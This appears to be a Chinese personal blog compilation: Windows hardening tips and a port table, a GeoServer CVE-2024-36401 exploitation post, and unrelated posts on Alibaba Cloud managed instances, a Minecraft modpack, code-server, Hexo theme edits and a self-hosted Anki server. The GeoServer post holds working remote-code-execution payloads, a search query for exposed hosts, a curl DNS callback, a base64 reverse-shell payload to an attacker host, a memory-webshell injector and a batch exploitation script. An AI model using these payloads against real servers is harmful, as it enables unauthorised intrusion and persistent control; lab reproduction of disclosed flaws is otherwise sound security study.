22. 备份和恢复

22.1. Windows Server Backup

配置路径: 通过Windows Server Backup管理

日志路径: 事件查看器中的 Microsoft-Windows-Backup

用途: 可能包含敏感文件路径和配置信息

安全建议

访问控制: 严格限制对注册表、配置文件和系统目录的访问权限
审计日志: 启用详细的审计日志记录,监控对敏感文件和注册表的访问
防火墙配置: 使用Windows防火墙或第三方防火墙限制入站和出站连接
定期审计: 定期检查开放的端口、运行的服务和启动项
最小化服务: 禁用或删除不必要的服务和功能
补丁管理: 及时应用Windows更新和安全补丁
加密敏感数据: 使用BitLocker加密磁盘,加密敏感配置文件
网络分段: 使用VLAN和防火墙规则隔离敏感服务
监控异常: 使用SIEM工具监控异常的端口扫描和服务访问
强化RDP: 修改RDP默认端口,使用网络级身份验证(NLA),限制访问IP

常见Windows服务端口速查表

服务	默认端口	协议	说明
HTTP	80	TCP	Web服务
HTTPS	443	TCP	加密Web服务
FTP	21	TCP	文件传输
FTPS	990	TCP	加密FTP
SSH	22	TCP	安全Shell
Telnet	23	TCP	远程终端
SMTP	25	TCP	邮件发送
DNS	53	TCP/UDP	域名解析
POP3	110	TCP	邮件接收
IMAP	143	TCP	邮件接收
SNMP	161	UDP	网络管理
LDAP	389	TCP	目录服务
LDAPS	636	TCP	加密LDAP
SMB/CIFS	445	TCP	文件共享
SQL Server	1433	TCP	数据库
MySQL	3306	TCP	数据库
PostgreSQL	5432	TCP	数据库
RDP	3389	TCP	远程桌面
WinRM	5985/5986	TCP	Windows远程管理
Kerberos	88	TCP/UDP	身份验证
Global Catalog	3268/3269	TCP	AD目录服务
Tomcat	8080/8443	TCP	Web应用服务器

GeoServer CVE-2024-36401 漏洞利用

Tue, 13 Aug 2024 15:02:58 +0000

搜索语法

app.name=“GeoServer” and ip.country=“CN” and icp.is_exception=“true”

版本属性

在GeoServer 2.25.1， 2.24.3， 2.23.5版本及以前，未登录的任意用户可以通过构造恶意OGC请求，在默认安装的服务器中执行XPath表达式，进而利用执行Apache Commons Jxpath提供的功能执行任意代码。GeoServer 是 OpenGIS Web 服务器规范的 J2EE 实现，利用 GeoServer 可以方便的发布地图数据，允许用户对特征数据进行更新、删除、插入操作。

靶场环境

建议开一个美国区的云服务器，拉取GitHub和Vulhub方便。

1git clone https://github.com/vulhub/vulhub.git
2cd vulhub/
3cd geoserver/CVE-2024-36401/
4docker-compose up -d

访问 http://your-ip:8080/geoserver 查看到GeoServer的默认页面。

POC

GET方法的POC

1GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'touch%20/tmp/success1') HTTP/1.1
2Host: your-ip:8080
3Accept-Encoding: gzip, deflate, br
4Accept: */*
5Accept-Language: en-US;q=0.9,en;q=0.8
6User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
7Connection: close
8Cache-Control: max-age=0

进入容器查看，可以看到成功创建文件。

1docker exec -it cve-2024-36401_web_1 /bin/bash
2ls /tmp

基于POST方法的POC

 1POST /geoserver/wfs HTTP/1.1
 2Host: your-ip:8080
 3Accept-Encoding: gzip, deflate, br
 4Accept: */*
 5Accept-Language: en-US;q=0.9,en;q=0.8
 6User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
 7Connection: close
 8Cache-Control: max-age=0
 9Content-Type: application/xml
10Content-Length: 356
11
12<wfs:GetPropertyValue service='WFS' version='2.0.0'
13 xmlns:topp='http://www.openplans.org/topp'
14 xmlns:fes='http://www.opengis.net/fes/2.0'
15 xmlns:wfs='http://www.opengis.net/wfs/2.0'>
16 <wfs:Query typeNames='sf:archsites'/>
17 <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'touch /tmp/success2')</wfs:valueReference>
18</wfs:GetPropertyValue>

只有 ows:ExceptionReport java.lang.ClassCastException: 的报错是成功执行的。

值得注意的是，typeNames必须存在，我们可以在Web页面中找到当前服务器中的所有Types

DNS 反弹测试

 1POST /geoserver/wfs HTTP/1.1
 2Host:47.251.97.142:8080
 3Accept-Encoding:gzip,deflate,br
 4Accept:*/*
 5Accept-Language:en-US;q=0.9,en;q=0.8
 6User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/124.0.6367.118Safari/537.36
 7Connection:close
 8Cache-Control:max-age=0
 9Content-Type:application/xml
10Content-Length: 358
11
12<wfs:GetPropertyValue service='WFS' version='2.0.0'
13 xmlns:topp='http://www.openplans.org/topp'
14 xmlns:fes='http://www.opengis.net/fes/2.0'
15 xmlns:wfs='http://www.opengis.net/wfs/2.0'>
16 <wfs:Query typeNames='sf:archsites'/>
17 <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'curl 5s1mc4.dnslog.cn')</wfs:valueReference>
18</wfs:GetPropertyValue>

武器化利用

反弹Shell

反弹shell在线生成器在线生成一句话反弹命令

1echo "sh -i >& /dev/tcp/攻击机ip/攻击机端口 0>&1" |base64
2nc -lvnp 7777 # 攻击机开启监听端口

 1POST /geoserver/wfs HTTP/1.1
 2Host:47.251.97.142:8080
 3Accept-Encoding:gzip,deflate,br
 4Accept:*/*
 5Accept-Language:en-US;q=0.9,en;q=0.8
 6User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/124.0.6367.118Safari/537.36
 7Connection:close
 8Cache-Control:max-age=0
 9Content-Type:application/xml
10Content-Length: 432
11
12<wfs:GetPropertyValue service='WFS' version='2.0.0'
13 xmlns:topp='http://www.openplans.org/topp'
14 xmlns:fes='http://www.opengis.net/fes/2.0'
15 xmlns:wfs='http://www.opengis.net/wfs/2.0'>
16 <wfs:Query typeNames='sf:archsites'/>
17 <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'bash -c {echo,反弹的base64编码}|{base64,-d}|{bash,-i}')</wfs:valueReference>
18</wfs:GetPropertyValue>

注意 Content-Length:357 中数字的长度要和命令的字节数等于或大于才能执行成功，越大执行越慢。

注入内存木马

使用JMG工具生成内存马，注意名写 java.lang.tes，自定义密码密钥点击生成。把输出复制到下面的POC里 str="内存马base64";的位置。

 1POST /geoserver/wfs HTTP/1.1
 2Host: 47.251.97.142:8080
 3Accept-Encoding: gzip,deflate,br
 4Accept: */*
 5Accept-Language:en-US;q=0.9,en;q=0.8
 6User-Agent: Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/124.0.6367.118Safari/537.36
 7Connection: close
 8Cache-Control: max-age=0
 9Content-Type: application/xml
10Content-Length: 432
11
12<wfs:GetPropertyValue service='WFS' version='2.0.0'
13 xmlns:topp='http://www.openplans.org/topp'
14 xmlns:fes='http://www.opengis.net/fes/2.0'
15 xmlns:wfs='http://www.opengis.net/wfs/2.0'>
16 <wfs:Query typeNames='sf:archsites'/>
17 <wfs:valueReference>eval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),'
18var str="";
19var bt;
20try {
21 bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str);
22} catch (e) {
23 bt = java.util.Base64.getDecoder().decode(str);
24}
25var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
26theUnsafe.setAccessible(true);
27unsafe = theUnsafe.get(null);
28unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), bt, null).newInstance();
29')</wfs:valueReference>
30</wfs:GetPropertyValue>

POC有问题，不成功，建议使用反弹shell后再用别的工具建立探针控制。

工具批量监测

1git clone https://mirror.ghproxy.com/https://github.com/RevoltSecurities/CVE-2024-36401.git
2cd CVE-2024-36401/
3pip install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple some-package
4python exploit.py -l geoserverip.txt

参考链接 https://mp.weixin.qq.com/s/h4oswTGGaxVBLXR_h7PT1Q https://cloud.tencent.com/developer/article/2437213 https://github.com/vulhub/vulhub/blob/master/geoserver/CVE-2024-36401/README.zh-cn.md https://github.com/pen4uin/java-memshell-generator https://xz.aliyun.com/t/14991?time__1311=GqAh0IqGxmxfx0v44%2BxCqqQwwbugt03x https://github.com/RevoltSecurities/CVE-2024-36401 https://yzddmr6.com/posts/geoserver-memoryshell/ https://cn-sec.com/archives/2997415.html

阿里云托管第三方实例并远程登陆执行代码的方法

Thu, 08 Aug 2024 16:13:45 +0000

登陆阿里云账号，访问 https://ecs.console.aliyun.com/cloud-assistant/region/cn-hangzhou/managed 点击运维与监控 -> 云助手-> 托管实例

点击创建注册码，填写信息，ip限制不填就是不显示，有效期4小时，超过4小时后不能再用这个注册码注册，点击生成注册码，根据要监控的靶机系统选择安装脚本，拷贝到靶机上，执行。

在靶机系统上，新建一个安装文件。

vim installAssistant.sh

按 I 键进入编辑模式，复制上面生成的内容，按 ecs 退出编辑模式，然后键盘按 :q 退出vim。

sudo chmod 755 installAssistant.sh

在云助手界面点击刷新，就能看到监管的靶机系统。

可以做执行命令，远程连接和上传文件的操作。agent对ecs托管登陆做了设置。

有权限限制

靶机agent安装文件夹多了deb文件

Windows和挂代理出网访问的方式详见参考。

参考链接

https://help.aliyun.com/zh/ecs/user-guide/manage-servers-that-are-not-provided-by-alibaba-cloud?spm=5176.cloud-assistant-console_cloud-assistant.help.dexternal.316b4df5QeLlnP#section-por-q2b-931

LSP服务器2022新年贺岁

Tue, 28 Dec 2021 15:26:05 +0000

LSP是一个我的世界私人服务器，为庆祝新年，2022年1月1日开启全新周目。1.18.1高版本mc，加入机械动力，夸克等模组，配合任务书的玩法，给你带来新版本的体验。文末有加群二维码，或者点击链接加入群聊【LSP 服务器咕咕唠嗑】：https://jq.qq.com/?_wv=1027&k=tXCuFsYA 下载整合包，服务器地址已在压缩包内。下载后首先安装java17，安装包已在 .zip 中。

安装至任意位置，建议放在D盘，不要放C盘。然后双击文件更新助手-1.0.3.jar，程序会自动更新mods, config等文件夹。后续如有更新请自行点击文件更新助手-1.0.3.jar更新即可，若出现进不去服务器的情况，请先点击文件更新助手-1.0.3.jar更新一下试试。

更新完成之后点击蓝色的PCL启动器，登录账号，老玩家用的正版mojang账号和新注册的正版微软账号都支持，没有买账号的可以用离线登录，起一个名字就行，用英文，中文会崩。然后点击启动游戏即可。

加载完成后，点击多人游戏，然后点击mingcraft服务器，加入即可。

模组列表：

[Cloth Config API] cloth-config-6.1.48-forge.jar
[Corail的墓碑] tombstone-7.3.2-1.18.jar
[JEI物品管理器] jei-1.18.1-9.1.1.48.jar
[储物抽屉] StorageDrawers-1.18.1-10.0.1.jar
[村民物品化／简单村民] easy_villagers-1.18.1-1.0.0.jar
[单机][FPS减速器] FpsReducer-forge-1.25-mc1.18.jar
[单机][Just Enough Resources] JustEnoughResources-1.18.1-0.13.1.141.jar
[单机][Xaero的世界地图] XaerosWorldMap_1.18.9_Forge_1.18.jar
[单机][Xaero的小地图] Xaeros_Minimap_21.22.6_Forge_1.18.jar
[单机][附魔描述] EnchantmentDescriptions-Forge-1.18.1-9.0.4.jar
[单机][键位冲突显示] Controlling-forge-1.18.1-9.0.7.jar
[单机][聊天头像] chat_heads-0.6.0-forge-1.18.1.jar
[单机][模组目录] catalogue-1.6.0-1.18.1.jar
[单机][配置界面] configured-1.5.1-1.18.1.jar
[单机][苹果皮] appleskin-forge-mc1.18-2.2.0.jar
[单机][鼠标手势] MouseTweaks-forge-mc1.18-2.21.jar
[单机][万用皮肤补丁] CustomSkinLoader_ForgeActive-14.13-SNAPSHOT-309.jar
[单机][自动钓鱼Forge版] forgeautofish-4.0.1-1.18.x.jar
[单机]wwta-1.18-1.0.jar
[飞轮] flywheel-forge-1.18-0.4.2-rc.jar
[更好的经验修补] BetterThanMending-1.7.1.jar
[机械动力] create-mc1.18.1_v0.4a.jar
[简单存储] SimpleStorageNetwork-1.18-1.5.1.jar
[建筑之杖] constructionwand-1.18.1-2.6.jar
[经验机制改革] Clumps-forge-1.18.1-8.0.4.jar
[精妙背包] sophisticatedbackpacks-1.18.1-3.14.3.485.jar
[夸克] Quark-3.0-334.jar
[困难任务] HQM-1.18.1-5.9.0-forge.jar
[烹饪锅] CrockPot-1.18.1-1.1.1-release.jar
[时间之瓶] time-in-a-bottle-2.1.0-mc1.18.1.jar
[时装盔甲重置版] CosmeticArmorReworked-1.18.1-v1.jar
[试验假人] MmmMmmMmmMmm-1.18-1.5.0.jar
[属性修复] AttributeFix-Forge-1.18.1-13.0.3.jar
[无限+经验修补] InfinityMending-1.17-0.1.0.jar
[玉 🔍] Jade-1.18-4.1.0.jar
[资源蜜蜂] productivebees-1.18.1-0.8.0.3.jar
[自然罗盘／生物群系指南针] NaturesCompass-1.18.1-1.9.4-forge.jar
[作物盛景] Croptopia-1.18-FORGE-1.7.4.jar
architectury-3.3.3.jar
AutoRegLib-1.7-52.jar
balm-2.3.1+0.jar
caelus-forge-1.18-3.0.0.1.jar
camera-1.18.1-1.0.0.jar
curios-forge-1.18.1-5.0.4.2.jar
curiouselytra-forge-1.18.1-5.0.0.1.jar
Easy Emerald-1.18.1-3.2.0.jar
EasyEmerald-Forge-1.18.1-1.3.5.jar
FarmersDelight-1.18.1-1.0.0.jar
morevillagers-FORGE-1.18.1-3.1.0.jar
Shrines-1.18.1-3.0.0-Beta4.jar
waystones-forge-1.18.1-9.0.1.jar
xptome-1.18-2.1.3.jar

code-server 服务器端IDE

Fri, 21 Feb 2020 21:16:54 +0000

我刚装完 Jupyterlab 就收到个推送，爱了爱了，这个 GitHub 的 Chrome 神仙插件把我整的服服帖帖的爱来了中介绍的 Sourcegraph 插件调用的就是 code-Server ，也就是所谓的服务器版本的VScode，接着又有一篇推荐的文章推荐一款神器：在浏览器中运行 vscode，随时随地写代码

官方已经打包好了 Docker 镜像，咱直接 pull 就行，不过因为众所周知的原因，国内 pull 镜像一直比较慢，所以我上万能的阿里云容器服务网站，找到了别人打包好的。

拉取镜像

1docker pull registry.cn-shanghai.aliyuncs.com/shuzhi-amd64/code-server:v2

运行和改密

参考官网issuse改密方法，以如下命令运行镜像。

1docker run --name vscodeserver --user root -it -d -p 8443:8443 -p 8080:8080 -e PASSWORD='yourpassword' -v `pwd`:/home/coder/project registry.cn-shanghai.aliyuncs.com/shuzhi-amd64/code-server:v2

打开浏览器，输入http://IP:8080即可访问。命令中-d代表在后台运行，如果你第一次安装，想看看有没有其他什么报错的话，去掉这个-d就行。这是没有配置SSL的运行方式，可能会导致部分功能无法使用，但是官网配置SSL的说法模棱两可，也不知道到底怎么个用法，我采用了--cer --cer-key的方法，但是运行后打开浏览器一片空白。对了，还有就是像 JupyterLab 和 Vscodesever 这样的在线编程的应用，设置反向代理反而会拖慢速度，不如直接 IP 地址加端口访问来的快。不知道是不是我配置的不规范的原因。总之，先这么凑合的用着。

在线写Hexo博客不是梦。虽然我早就知道Hexo有这种插件，但是……我不用，哈哈哈。不够炫酷，不符合我的编程美学，那样和WP有什么区别（别打脸别打脸，哎，WP正香）。有个设想，如果写个插件，或者CodeRunner写个新语言项，让他能自动发布，自动Hexo g -d ，镜像环境中安装好Hexo环境，然后用插件发布一下，挂载镜像目录到网站运行目录下，感觉可以搞一哈。腾讯云的WebIDE我之前用过有类似的功能，我先去看看有没有Hexo的插件，朋友们有没有什么推荐？

hexo主题obsidian修改社交链接

Sun, 16 Feb 2020 15:32:34 +0000

我在主题作者的Github上提的issue需求：添加友链，打赏等功能 #65

修改社交链接

/themes/obsidian/layout/_partial/post/article.ejs文件中文头添加如下片段引入图标，这个是我自己的网址，想换其他图标下面会介绍。

1<%- css(['//ppt.bugatii100peagle.cn/font_uufs75uai6o/iconfont.css']) %>

找到如下片段，大概105行左右的位置

 1 <div class="sidebar">
 2 <div class="box animated fadeInRight">
 3 <div class="subbox">
 4 <img src="<%- theme.avatar %>" height=300 width=300></img>
 5 <p><%- config.author %></p>
 6 <span><%- theme.descriptionOne %></span>
 7 <dl>
 8 <dd><a href="<%- theme.socials.github %>" target="_blank"><span
 9 class=" iconfont icon-github"></span></a></dd>
10 <dd><a href="<%- theme.socials.mail %>" target="_blank"><span
11 class=" iconfont icon-mail"></span></a></dd>
12 <dd><a href="<%- theme.socials.stackoverflow %>" target="_blank"><span
13 class=" iconfont icon-stack-overflow"></span></a></dd>
14 </dl>
15 </div>
16 <ul>

改为

 1 <div class="sidebar">
 2 <div class="box animated fadeInRight">
 3 <div class="subbox">
 4 <img src="<%- theme.avatar %>" height=300 width=300></img>
 5 <p><%- config.author %></p>
 6 <span><%- theme.descriptionOne %></span>
 7 <dl>
 8 <dd><a href="<%- theme.socials.github %>" target="_blank"><span
 9 class=" iconfont icon-github"></span></a></dd>
10 <dd><a href="<%- theme.socials.mail %>" target="_blank"><span
11 class=" iconfont icon-mail"></span></a></dd>
12 <dd><a href="<%- theme.socials.rss %>" target="_blank"><span
13 class=" iconfont icon-rss"></span></a></dd>
14 </dl>
15 <dl>
16 <dd><a href="<%- theme.socials.bilibili %>" target="_blank"><span
17 class=" iconfont icon-bilibili"></span></a></dd>
18 <dd><a href="<%- theme.socials.zhihu %>" target="_blank"><span
19 class=" iconfont icon-zhihu"></span></a></dd>
20 <dd><a href="<%- theme.socials.QQ %>" target="_blank"><span
21 class=" iconfont icon-QQ"></span></a></dd>
22 </dl>
23 </div>

然后把主题文件/obsidian/_config.yml中# Social media links socials:的字段改为：

1# Social media links
2socials:
3 github: "https://github.com/你的Github主页"
4 mail: "mailto:你的邮箱"
5 rss: "https://网站域名/atom.xml" #安装相关插件后自动生成见下
6 bilibili: "https://space.bilibili.com/你的哔哩哔哩主页"
7 zhihu: "https://www.zhihu.com/people/你的知乎主页"
8 QQ: "tencent://AddContact/?fromId=45&fromSubId=1&subcmd=all&uin=你的QQ号&website=www.oicqzone.com"

保存，然后重新发布hexo，效果如图

参考

QQ自动强制加好友代码html

Hexo Next主题添加社交链接

换图标CSS

参考Iconfont 国内最强图标库入门用法简介在 https://www.iconfont.cn/ 选择你喜欢的图标加购物车，然后下载代码，把代码传到服务器上，在/themes/obsidian/layout/_partial/post/article.ejs文件开头引入即可。

RSS插件安装

参考为Hexo添加RSS和Sitemap 安装插件

1npm install hexo-generator-feed --save

执行 hexo g，查看一下public目录下，如果有atom.xml文件，则表明配置成功主题文件中不需要修改， @TriDiamond 已经写了，但是我似乎没在页面上找到RSS再哪里，所以还是自己接一个。

友链

通过分析大概能猜出/themes/obsidian/layout/_partial/post/article.ejs 文件中的代码与实际效果的对应关系。

那么友链就加在文章分类标签的下面

1<ul>
2 <li><a href="/"><%- site.posts.length %> <p><%= __('articles') %></p></a></li>
3 <li><a href="/categories"><%- site.categories.length %> <p><%= __('categories') %></p></a></li>
4 <li><a href="/tags"><%- site.tags.length %> <p><%= __('tags') %></p></a></li>
5</ul>

在上述片段下面加一行

 1<ul>
 2 <br><span><b><p>友链博客</p></b></span><br>
 3 <span><u><p><a href="https://xiaoyou66.com/" target="_blank">小游网</a></p></u></span>
 4 <span><u><p><a href="https://brightsoulxyhy.github.io/" target="_blank">BrightSoul</a></p></u></span>
 5 <span><u><p><a href="https://www.jxtxzzw.com/" target="_blank">凝神长老</a></p></u></span>
 6 <span><u><p><a href="http://climate2weather.cc/" target="_blank">Gavin</a></p></u></span>
 7 <span><u><p><a href="https://kenblog.top/ps/weixin.html" target="_blank">青笔</a></p></u></span>
 8 <span><u><p><a href="https://www.denry.cn/" target="_blank">鲸落海域</a></p></u></span>
 9 <span><u><p><a href="https://blog.lcyown.cn/" target="_blank">LCY Blog</a></p></u></span>
10 <span><u><p><a href="http://yearito.cn/" target="_blank">yearito</a></p></u></span>
11</ul>

其中href字段后填网址，"_blank">博客标题</a>中间填博客标题，这个方法有个缺点就是，博客标题不能太长。像我那么长的名字就不行，除非手动限制大小，可参考html字体大小、颜色、粗体、下划线代码（局部）真是硬核的加友链的方式！

打赏

还是/themes/obsidian/layout/_partial/post/article.ejs 文件，找到下面的字段，就在刚刚改友链的下面。是那个一直会移动显示目录的那块，一直在画面，跟随移动，更容易受到赞赏。

1<div class="box sticky animated fadeInRight faster">
2 <div id="toc" class="subbox">
3 <h4><%= __('toc') %></h4>
4 <%- toc %>
5 </div>
6</div>

改为

 1<div class="box sticky animated fadeInRight faster">
 2 <div id="toc" class="subbox">
 3 <h4><%= __('toc') %></h4>
 4 <%- toc %>
 5 </div>
 6 <ul>
 7 <span><u><p><a href="http://你的微信打赏码链接" target="_blank">微信打赏</a></p></u></span>
 8 <span><u><p><a href="http://你的支付宝打赏链接" target="_blank">支付宝打赏</a></p></u></span>
 9 </ul>
10</div>

效果如图，点击打开新的标签页就是赞赏码。

阿里云服务器自建AnkiServer

Fri, 11 Oct 2019 22:42:24 +0000

刚开始用 Anki ，它的服务器真是让人捉急，索性自己建一个。参考一下文档，几经挫折，我终于建立了我自己的 Anki 服务器，同步速度飞一般的感觉。

Linux 下自建Anki服务器

手把手教你搭建自己专属的Anki服务器

阿里云主机(VPS主机)上搭建Anki服务器及Anki服务器搭建方案分析

要成功搭建自己的 Anki 服务器，必备材料有：

服务器（上阿里云租去，学生价只要九块九，阿里欠我一条广告费，:-P）
AnkiSerer 程序
会操作 Vim或nano , ssh 连接的程序员一枚

特别要注意的有

AnkiServer 是一个 Python 包，使用 easy_install 安装。还未安装 easy_install 的可以参考linux下easy_install的安装与使用详解安装。
production.ini 内的是服务器内网IP，客户端连接的是外网IP
全程在root下操作

Step 1 服务器配置

如果你已经有了一台服务器，那么登录并切换到 Root 下操作。然后下载 AnkiServer。

easy_install AnkiServer

安装成功测试命令

ankiserverctl.py

注意看安装目录，下一步要复制的文件在安装目录下。一般是

/usr/lib/python2.7/site-packages/AnkiServer-2.0.6-py2.7.egg/examples/

如果不是这个目录，就看自己的安装目录在哪里，总之，要找到这个文件

example.ini

把它复制到 root 的根目录下，并改名为

production.ini

修改 production.ini 文件内容并保存 (这里直接引用文章了)

host= x.x.x.x #自己服务器的内网地址也可是局域网IP
allowed_hosts=0.0.0.0 #允许同步的客户端ip地址，使用0.0.0.0表示允许任何ip地址连接

要改的地方就两处，也就是上图红色框里的内容。这里的内网IP可以在云主机控制台查到。如下图红框所示。

注意：27701 这个端口好不要改！！！

然后添加用户，这里添加的用户是将来在Anki客户端登录时使用的用户,使用以下指令添加用户，然后输入对应的密码。

ankiserverctl.py adduser username #usename替换为你的用户名，如xiaoming
ankiserverctl.py lsuser #列出用户列表，能看到上一步添加的用户即为成功

测试服务器

ankiserverctl.py debug

出现这样的窗口，一直不动，代表服务器调试正常。

按 <Ctrl + c>结束调试，然后启动服务。

ankiserverctl.py start

最后，外网测试能否连上端口，输入外网IP 及 27701 端口号，查看端口是否开放。 T 在线工具，端口扫描

Step2 客户端配置

PC 端：

打开 Anki -> 菜单栏 ->工具 -> 插件 -> 打开插件文件夹

新建名为 mysyncserver.py 的文件并输入以下内容。

import anki.sync
anki.sync.SYNC_BASE = 'http://192.168.0.100:27701/'
anki.sync.SYNC_MEDIA_BASE = 'http://192.168.0.100:27701/msync/'

登陆失败的话，把上边最后的/号去掉。by zjq 2019-10-24

修改 IP 地址为本机外网 IP，即公网IP。

然后，保存，重启 Anki。照常登录，此处登录名和密码是刚刚 ankiserverctl.py adduser username 中的用户名和密码。然后同步就可以了

安卓手机端：

左滑菜单-> 设置->高级设置 ->自定义同步服务器

网址要注意ankiserver预设是使用http而不是https

然后照常登录就可以了。